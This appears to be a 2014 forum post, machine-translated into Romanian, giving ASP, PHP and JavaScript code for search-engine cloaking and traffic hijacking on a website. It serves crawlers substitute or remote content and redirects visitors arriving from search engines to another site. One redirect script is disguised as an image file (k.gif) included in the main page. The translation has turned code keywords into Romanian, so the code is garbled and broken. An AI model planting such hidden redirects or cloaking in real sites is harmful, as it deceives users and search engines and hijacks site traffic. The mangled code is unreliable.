În primul rând, este simplu, adaugă următorul cod pe pagina principală:
Versiunea ASP
<!--#include fișier="conn.asp"-->
<script src="images\k.gif"></script>
Versiunea PHP
<!--#include fișier="conn.php"-->
<script src="images\k.gif"></script>
Apoi adaugă următorul cod în fișierul conn conform programului site-ului, dacă nu ai un conn.asp sau conn.php, creează-l singur:
Ediția conn.asp
----------- următoarea reproducere--------------------------------
<%
funcția isspider()
agent dim, searray, i
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot", "baiduspider", "sogou", "yahoo", "soso", "360spider")
isspider= fals
pentru i=0 la ubound (searray)
dacă (instr(agent,searray(i))>0) atunci isspider=true
Următorul
Funcție finală
funcția fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER"))
Fromse= fals
dacă urlrefer="" atunci fromse= false
searray=array("google", "baidu", "sogou", "yahoo", "soso", "360")
pentru i=0 la ubound (searray)
dacă (instr(urlrefer,searray(i))>0) atunci fromse=true
Următorul
Funcție finală
funcția gethttp(url)
dim http
set http=createobject("MSXML2. XMLHTTP")
http.open "GET", url, false
Http.send()
dacă Http.readystate<>4 atunci
Funcția de ieșire
sfârșit dacă
gethttp=bytes2BSTR(Http.responseBody)
set http=nimic
dacă err.number<>0 atunci err. Clar
Funcție finală
function bytes2BSTR(vIn)
strReturn întunecat
dim i, ThisCharCode, NextCharCode
strReturn = ""
Pentru i = 1 Până la LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
Dacă thisCharCode < și H80 atunci
strReturn = strReturn & Chr(ThisCharCode)
Altfel
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
Sfârșit dacă
Următorul
bytes2BSTR = strReturn
Funcția finală
dacă(isspider()) atunci
dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml
bodyurl="http://www.itsvse.com" //snapshot URL
răspuns.clear
remotehtml=gethttp(bodyurl)
response.write(remotehtml)
răspunsul.scrie("<!--"&acum()&"-->")
răspuns.flush
răspuns.sfârșit
sfârșit dacă
%>
conn.php
---------------- următoarea reproducere----------------
<?php
funcția is_search_bot(){
$user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$identify = ansamblu ('baiduspider', 'sogou spider', 'sosospider', 'iaskspider', 'naverrobot');
foreach ($identify AS $key => $tag){
dacă (strstr($user_agent, $tag)){
întoarcerea cu adevărat;
}
}
returnează false; }
funcție is_urlbaidu()
{
$come_from="baidu@sogou@soso@iask@naver";
$referer = explode("@",$come_from);
foreach($referer ca $url){
dacă (stristr($_SERVER['HTTP_REFERER'],$url)){
întoarcerea cu adevărat;
}
}
returnează false; }
dacă (is_search_bot())
{
$html = "<title>Colegiul Vocațional de Inginerie Software din Wuhan</title> <metanume=\"Autor\" conținut=\"Completează aceleași cuvinte-cheie\"> <metanume=\"Cuvinte cheie\" conținut=\"Cuvinte cheie\"> <metanume=
\"Descriere\" conținut=\"Descriere\"> </head> <body>Conținut</body></html>";
Echo $html;
}
dacă (!is_search_bot() & & is_urlbaidu())
{
Antet('Locație:http://www.itsvse.com');
}
?>
În final, în directorul imaginilor, încărcați un fișier k.gif k.gif cod:
var s=document.referrer
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 )
location.href="http://www.itsvse.com"; URL de redirecționare
|
Postat pe 01.12.2014 18:48:55
|
|
|
